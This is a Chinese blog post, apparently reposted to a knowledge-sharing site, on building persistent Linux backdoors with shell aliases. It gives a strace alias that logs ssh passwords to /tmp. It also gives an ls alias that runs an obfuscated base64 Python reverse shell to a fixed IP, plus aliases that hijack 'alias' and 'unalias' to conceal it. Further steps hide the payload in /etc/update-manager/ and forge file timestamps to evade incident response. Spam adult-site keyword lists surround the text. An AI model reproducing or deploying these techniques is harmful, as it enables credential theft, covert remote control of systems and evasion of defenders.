一区二区三区日韩精品-日韩经典一区二区三区-五月激情综合丁香婷婷-欧美精品中文字幕专区

分享

alias后門 | Linux 后門系列

 cn1188181 2020-06-25

0x01 alias 簡介

alias 命令的功能是為命令設(shè)置別名,比如我想讓我每次輸入 ls 的時(shí)候都實(shí)現(xiàn)  ls -al 那怎么實(shí)現(xiàn)呢? 

alias ls = 'ls -al'

對于通過ssh遠(yuǎn)程登錄的用戶來說,每次設(shè)置只在本次連接過程中有效,下次再進(jìn)行登錄的時(shí)候就不會(huì)這樣了

0x02 alias 使用方法

系統(tǒng)中存在一些默認(rèn)的別名,直接輸入 alias 或者 alias -p 可以進(jìn)行顯示 

Ubuntu Server 16.04 結(jié)果如下:

這里有我們熟悉的 ll 命令,這個(gè)命令的真實(shí)含義其實(shí)是 ls -alF

可以看到我們可以直接執(zhí)行 ll 來短縮我們的命令長度 

如果我們只想實(shí)現(xiàn)查看一個(gè)別名的含義,可以直接使用 alias cmd ,我們以ll命令為例

設(shè)置一個(gè)別名 alias getpwd = 'cat /etc/passwd'

刪除一個(gè)別名 unalias getpwd

此時(shí)我產(chǎn)生了一個(gè)疑問,系統(tǒng)默認(rèn)的這些個(gè)別名是在哪里設(shè)置的呢?alias 是不是有一個(gè)統(tǒng)一的配置文件呢?

抱著這樣的疑問,我想看一看alias 相關(guān)的文件夾以及文件

  • which alias

可以看到,似乎alias并不是一個(gè)在環(huán)境變量中的可執(zhí)行文件 

  • dpkg -L alias 

也不是通過 dpkg 安裝的,那么只能上大招了 

可有發(fā)現(xiàn)有兩個(gè)名字為 alias 的文件

這個(gè)文件似乎不是alias 的配置文件,看下一個(gè)

這個(gè)也不是,百度google了一番也沒有找到有文件說存在alias 的配置文件 

那么問題來了,默認(rèn)的這些個(gè)別名設(shè)置是怎么來的呢? 

猜也知道對吧,肯定在系統(tǒng)啟動(dòng)默認(rèn)加載的配置文件里,比如 /etc/profile 、 /etc/bashrc 、~/.bashrc、~/.bash_profile 、~/.profile 、~/.bash_logout

  • /etc/profile

    【系統(tǒng)級】Linux是一個(gè)多用戶操作系統(tǒng)。用戶登錄或切換(即Login shell 啟動(dòng))時(shí)都有一個(gè)專用的運(yùn)行環(huán)境,但首先執(zhí)行 /etc/profile

  • /etc/bashrc

    【系統(tǒng)級】在 bash shell 打開時(shí)運(yùn)行,修改該文件配置的環(huán)境變量將會(huì)影響所有用戶使用的bash shell

  • ~/.bashrc

    【用戶級】當(dāng)用戶登錄時(shí)以及每次打開新的shell時(shí)該文件都將被讀取,不推薦在這里配置用戶專用的環(huán)境變量,因?yàn)槊块_一個(gè)shell,該文件都會(huì)被讀取一次,效率肯定受影響

  • ~/.bash_profile && ~./bash_login

    【用戶級】

    • 如果有其中的一個(gè)文件存在的話, 當(dāng)啟動(dòng)的是一個(gè)登錄shell時(shí),Bash 會(huì)執(zhí)行該文件而不會(huì)執(zhí)行~/.profile 

    • 如果兩個(gè)文件都存在的話,Bash 將會(huì)優(yōu)先執(zhí)行~/.bash_profile 而不是~/.bash_login 

  • ~/.bash_logout

    【用戶級】當(dāng)每次退出系統(tǒng)(退出bash shell)時(shí)執(zhí)行該文件

參考 https://www.cnblogs.com/lovychen/p/10911699.html

查看 ~/.bashrc 配置文件

  • cat ~/.bashrc 

逮到了!

那root用戶會(huì)不會(huì)存在 .bashrc 文件呢? 

  • sudo cat /root/.bashrc | grep alias

也是存在的,所以這些都是'藏污納垢'的好地方 

0x03 alias 后門分析&制作

當(dāng)前用戶目錄下.bashrc

alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

上面是我搜索了10多篇文章,發(fā)現(xiàn)的同一條后門命令,既然有前輩寫了,咱們就分析分析 

上面后門中,其實(shí) alias 只是做了一個(gè)小技巧,而不是主要的后門命令,含義也就是將當(dāng)前用戶的ssh命令修改為

  • strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh

這里主要涉及到 strace 這個(gè)命令,以及一些它的參數(shù),

strace 是什么命令?

我了解了一下,發(fā)現(xiàn) strace 是一個(gè)巨牛的工具,堪稱神奇,簡單來說它是一個(gè)調(diào)試工具,實(shí)際來說,他能把你這個(gè)程序在干啥整得明明白白

strace能做什么?

  • 它可以基于特定的系統(tǒng)調(diào)用或系統(tǒng)調(diào)用組進(jìn)行過濾

  • 它可以通過統(tǒng)計(jì)特定系統(tǒng)調(diào)用的使用次數(shù),所花費(fèi)的時(shí)間,以及成功和錯(cuò)誤的數(shù)量來分析系統(tǒng)調(diào)用的使用。

  • 它跟蹤發(fā)送到進(jìn)程的信號(hào)。

  • 可以通過pid附加到任何正在運(yùn)行的進(jìn)程。

  • 調(diào)試性能問題,查看系統(tǒng)調(diào)用的頻率,找出耗時(shí)的程序段

  • 查看程序讀取的是哪些文件從而定位比如配置文件加載錯(cuò)誤問題

  • 查看某個(gè)php腳本長時(shí)間運(yùn)行“假死”情況

  • 當(dāng)程序出現(xiàn)“Out of memory”時(shí)被系統(tǒng)發(fā)出的SIGKILL信息所kill
    另外因?yàn)閟trace拿到的是系統(tǒng)調(diào)用相關(guān)信息,一般也即是IO操作信息,這個(gè)對于排查比如cpu占用100%問題是無能為力的。這個(gè)時(shí)候就可以使用GDB工具了。

參考:https://www.jianshu.com/p/33521124bdf2

等我研究到系統(tǒng)內(nèi)核,進(jìn)程間通信等等再把這個(gè)工具詳細(xì)寫一寫,當(dāng)然了,也可能想不開哪天就寫了

接下來我們分解一下上面的命令 

  • strace -o /tmp/sshpwd-xxx.log 其中xxx為 `date '+%d%h%m%s'` 

    把strace的輸出單獨(dú)寫到指定的文件 /tmp/sshpwd-xxx.log ,這個(gè)沒啥好說的

  • -e read,write,connect 

    Linux內(nèi)核目前有300多個(gè)系統(tǒng)調(diào)用,詳細(xì)的列表可以通過syscalls手冊頁查看。這些系統(tǒng)調(diào)用主要分為幾類:

    文件和設(shè)備訪問類 比如open/close/read/write/chmod等
    進(jìn)程管理類 fork/clone/execve/exit/getpid等
    信號(hào)類 signal/sigaction/kill 等
    內(nèi)存管理 brk/mmap/mlock等
    進(jìn)程間通信IPC shmget/semget * 信號(hào)量,共享內(nèi)存,消息隊(duì)列等
    網(wǎng)絡(luò)通信 socket/connect/sendto/sendmsg 等
    其他

    這里的含義就是監(jiān)聽read,write,connect 函數(shù),說白了,把讀寫遠(yuǎn)程連接都給監(jiān)聽了,當(dāng)然大家可以監(jiān)聽更多

  • -s2048 ssh 

    -s2048 我查詢了一下,并沒有發(fā)現(xiàn)有這個(gè)參數(shù),我很好奇,這到底是什么參數(shù)...

    后來我明白了,這個(gè)應(yīng)該是 -s 2048 中間的空格因?yàn)榈谝粋€(gè)寫文章的人給寫錯(cuò)了,導(dǎo)致大家都整錯(cuò)了,實(shí)際上并不是這么回事 -s 2048 是設(shè)置打印字符串的長度,默認(rèn)是32 

所以整個(gè)命令應(yīng)該修改為 

alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s 2048 ssh'

在 Ubuntu Server 16.04 中進(jìn)行測試 

現(xiàn)在我們在這臺(tái)服務(wù)器上遠(yuǎn)程連接其他服務(wù)器 

可以看到,我們嘗試用root/123456 登錄192.168.1.46 ,之后服務(wù)器的tmp目錄中生成了 sshpwd-xxxx文件,我們看一下其中的內(nèi)容 

可以看到我們之前提交的數(shù)據(jù),同時(shí)呢,這個(gè)文件返回的內(nèi)容也比較多,只要改一個(gè)好點(diǎn)的名字可能會(huì)讓安全管理人員認(rèn)為是正常的文件 

這種后門的場景就是用戶登錄到這臺(tái)主機(jī)上后,使用這臺(tái)主機(jī)的ssh去遠(yuǎn)程連接其他主機(jī)才能引發(fā)后門,記錄明文密碼,這局限性太大了,頂多可以作為一個(gè)后門輔助。


alias 可以設(shè)置別名,那么有幾個(gè)疑問

  • 如果一個(gè)可執(zhí)行文件放在環(huán)境變量path下,同時(shí)設(shè)置一個(gè)與這個(gè)文件名相同的別名,看看哪一個(gè)會(huì)執(zhí)行 

    • 可以看到,設(shè)置別名后,我們執(zhí)行test94 的時(shí)候會(huì)執(zhí)行 cat /etc/issue ,這個(gè)時(shí)候我們就可以知道了,我們可以通過別名的方式劫持默認(rèn)的命令,比如ls,而且不需要替換原文件。

    • 可以直接執(zhí)行,現(xiàn)在我們來設(shè)置一個(gè)別名,將 test94 設(shè)置為 'cat /etc/issue'

    • 我們向 /usr/bin/ 下寫入一個(gè) test94 文件,文件內(nèi)容為echo 'test94' ,并且給予執(zhí)行權(quán)限 

  • alias 設(shè)置別名的時(shí)候可以使用絕對路徑嗎?

    可以看到,絕對路徑是支持的,那這樣的話我們嘗試劫持一下 ls 命令

    -

    • 劫持成功

    • 此時(shí) ls 還是原來正常的ls ,此時(shí)我們設(shè)置別名 alias ls='/usr/local/games/ls'

    • 可以看到,現(xiàn)在狀態(tài) ls 命令已經(jīng)被替換為了 echo 'test94' ,這里我們還沒有設(shè)置別名,因?yàn)?/usr/bin/ 比 /bin/ 目錄的優(yōu)先級高,所以被替換了,這不好,我們將自定義的ls換一個(gè)目錄 /usr/local/games

    • 執(zhí)行l(wèi)s 

    • 創(chuàng)建 /usr/bin/ls 內(nèi)容為 echo 'test94',并且賦予執(zhí)行權(quán)限

    • 查看 ls 絕對路徑 

  • alias 在設(shè)置 ls='xxxx' 后,后續(xù)設(shè)置的別名引用ls,是引用的別名還是可執(zhí)行文件

    可以看到,此時(shí)的 ls 是帶有顏色的,而且別名 ls 的值為 ls --color=auto

    此時(shí)可以看到,執(zhí)行可執(zhí)行文件就沒有顏色了 

    可以看到,此時(shí)執(zhí)行 lstest 顯示的文件名稱是有顏色的

    • 得出結(jié)論: 設(shè)置別名和設(shè)置變量很相似,是可以進(jìn)行傳遞的

    • 設(shè)置 alias lstest='ls'

    • 執(zhí)行可執(zhí)行文件 /bin/ls 

    • 查看當(dāng)前的ls別名以及執(zhí)行

  • alias 想要使用參數(shù)怎么整

    alias ls='ls --color=auto;pwd' 這么寫默認(rèn)參數(shù)會(huì)傳遞給pwd,那pwd哪管你啥參數(shù)

    所以這樣的話一下就會(huì)被管理員發(fā)現(xiàn),怎么整呢,把我們的參數(shù)傳遞給ls不就行了嗎?

    這也不行呀,查資料才知道,alias 不支持參數(shù),函數(shù)才支持參數(shù)

    • alias ls='func(){ ls $1 --color=auto;pwd;};func'

    • alias ls='ls $1 --color=auto;pwd' 

用了好幾天時(shí)間吭哧癟肚想出來的一個(gè)后門

就使用 alias + python3 劫持 ls 

alias ls='alerts(){ ls $* --color=auto;python3 -c 'import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMDguMTEiLCA1NTU1KSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQ=='\'')))';};alerts'

alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != '
ls' ]&&[ $* != 'alias' ]&&[ $* != 'unalias' ]; then unalias $*;else echo '-bash: unalias: ${*}: not found';fi;else echo 'unalias: usage: unalias [-a] name [name ...]';fi;};alerts'

alias alias='alerts(){ alias '
$@' | grep -v unalias | sed 's/alerts.*lambda.*/ls --color=auto'\''/';};alerts'

實(shí)現(xiàn)的效果是:

  • 劫持了 ls 命令,輸入 ls 后可以執(zhí)行我們的反彈 shell 的命令 

  • ls 命令執(zhí)行完全正常,用戶無感知

  • 劫持了 unalias 命令,使用戶無法直接通過 unalias 來解除我們的 ls 別名

  • 劫持了 alias 命令,使用戶查看別名列表的時(shí)候發(fā)現(xiàn) ls 一直是 ls='ls --color=auto'

  • 在用戶退出ssh的時(shí)候才會(huì)反彈shell(這個(gè)我表示不理解,好像情況也不是很統(tǒng)一,可能跟我給了服務(wù)器單核有關(guān)系)

其實(shí)里面還涉及了一些知識(shí)點(diǎn),比如:算了,你們自己去嘗試把命令解密開,自己看吧,沒啥難的

0x04 后門隱藏

整的似乎挺好,但是怎么隱藏起來,并且能夠讓所有登錄的人直接就中招呢???

肯定是離不開開機(jī)自啟的程序或者配置文件了

上面我們提到了幾個(gè)對吧,比如: /etc/profile 、 /etc/bashrc 、~/.bashrc 、~/.bash_profile 、~/.profile、~/.bash_logout

但是我覺得都不好,因?yàn)檫@些大家都知道了,應(yīng)急響應(yīng)恨不得上來就檢查這些內(nèi)容呢

我選擇 ~/.bash_aliases ,這個(gè)文件呢,默認(rèn)不會(huì)有,但是在 ~/.bashrc 中默認(rèn)加載

可以看到,我在 helper 的目錄中新建了一個(gè) .bash_aliases 的文件,在文件中寫入 alias ls='ls -al'

重新登錄后,執(zhí)行 ls 的時(shí)候已經(jīng)是執(zhí)行 ls -al 了

此時(shí),我們使用 root 權(quán)限進(jìn)行 ls 的時(shí)候,執(zhí)行的就是 ls ,因?yàn)樵?root 的家目錄下沒有 .bash_aliases 文件

我們看一下 ~/.bashrc 文件中是如何載入 .bash_aliases 的

可以看到,現(xiàn)在 Ubuntu 16.04 中已經(jīng)是默認(rèn)加載這個(gè)文件了


我知道你在想什么,哈哈哈哈哈,我也尋思呢,我給換一個(gè)更加有迷惑性的目錄和文件名,之后設(shè)置加載,豈不美哉? 

經(jīng)過我的一番尋找,加上自己所剩無幾的經(jīng)驗(yàn),終于找到了一個(gè)目錄 /etc/update-manager/ ,這個(gè)目錄我跟你說,我一眼就相中了,這簡直就是為后門設(shè)計(jì)的呀 

這個(gè)目錄里的 release-update 就是我新建的配置文件,看不出來吧,是不是很和諧,我都羨慕我自己了,我在這說啥呢,我的天

那好,我們把配置插進(jìn) ~/.bashrc

你看,我還像模像樣的寫了兩行注釋,偽裝一下 ,記得把之前的 ~/.bash_aliases 刪除掉 

此時(shí),我們推出 ssh 連接,之后再次連接,我們測試一下:

可以看到,我們的別名已經(jīng)執(zhí)行了, ls='ls -al' 


現(xiàn)在我們要讓這個(gè)后門更加完善 

  • 在 /etc/update-manager/release-update 中寫入我們的 alias 后門

  • 修改我們的文件的MAC時(shí)間,模擬成這個(gè)目錄的正常文件模擬得更真實(shí)一些 

    現(xiàn)在可以看到,MAC時(shí)間一看就能看出來是新建的文件,用 stat 來查看更加清晰 

    修改后門文件的時(shí)間與同目錄名稱相似的文件的 MAC 時(shí)間相同

    touch -acmr /etc/update-manager/release-upgrades /etc/update-manager/release-update

    可以看到,除了change 時(shí)間,其他的都一樣了 

    change time 表示最后一次對文件屬性改變的時(shí)間,包括權(quán)限,大小,屬性等等。我沒有找到能夠任意修改文件的change time 的方法,所以上面的就是能做的最大了

  • 完成了,走一下試試 

    完美?。?!


    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多

    亚洲专区中文字幕在线| 午夜亚洲精品理论片在线观看| 亚洲免费观看一区二区三区| 国产日韩精品欧美综合区| 麻豆欧美精品国产综合久久| 欧美精品一区二区三区白虎| 国产精品一区二区视频成人| 老司机精品视频在线免费| 国产专区亚洲专区久久| 久久本道综合色狠狠五月| 国产在线成人免费高清观看av| 欧美日韩一区二区三区色拉拉| 女厕偷窥一区二区三区在线| 91日韩欧美国产视频| 免费高清欧美一区二区视频| 久久久精品日韩欧美丰满| 天堂av一区一区一区| 日本av在线不卡一区| 国产一区二区三区四区中文| 一区二区三区欧美高清| 中文字幕欧美视频二区| 经典欧美熟女激情综合网| 亚洲欧美日产综合在线网| 亚洲最新中文字幕一区| 午夜成年人黄片免费观看| 99精品人妻少妇一区二区人人妻| 加勒比系列一区二区在线观看| 一区二区免费视频中文乱码国产| 日本在线 一区 二区| 视频一区中文字幕日韩| 国产午夜福利不卡片在线观看| 天堂av一区一区一区| 一区二区三区欧美高清| 99日韩在线视频精品免费| 91插插插外国一区二区婷婷| 国产精品免费精品一区二区| 欧美一级不卡视频在线观看| 亚洲av熟女一区二区三区蜜桃| 国产欧美日韩精品一区二区| 中文字幕日韩精品人一妻| 亚洲一区二区三在线播放|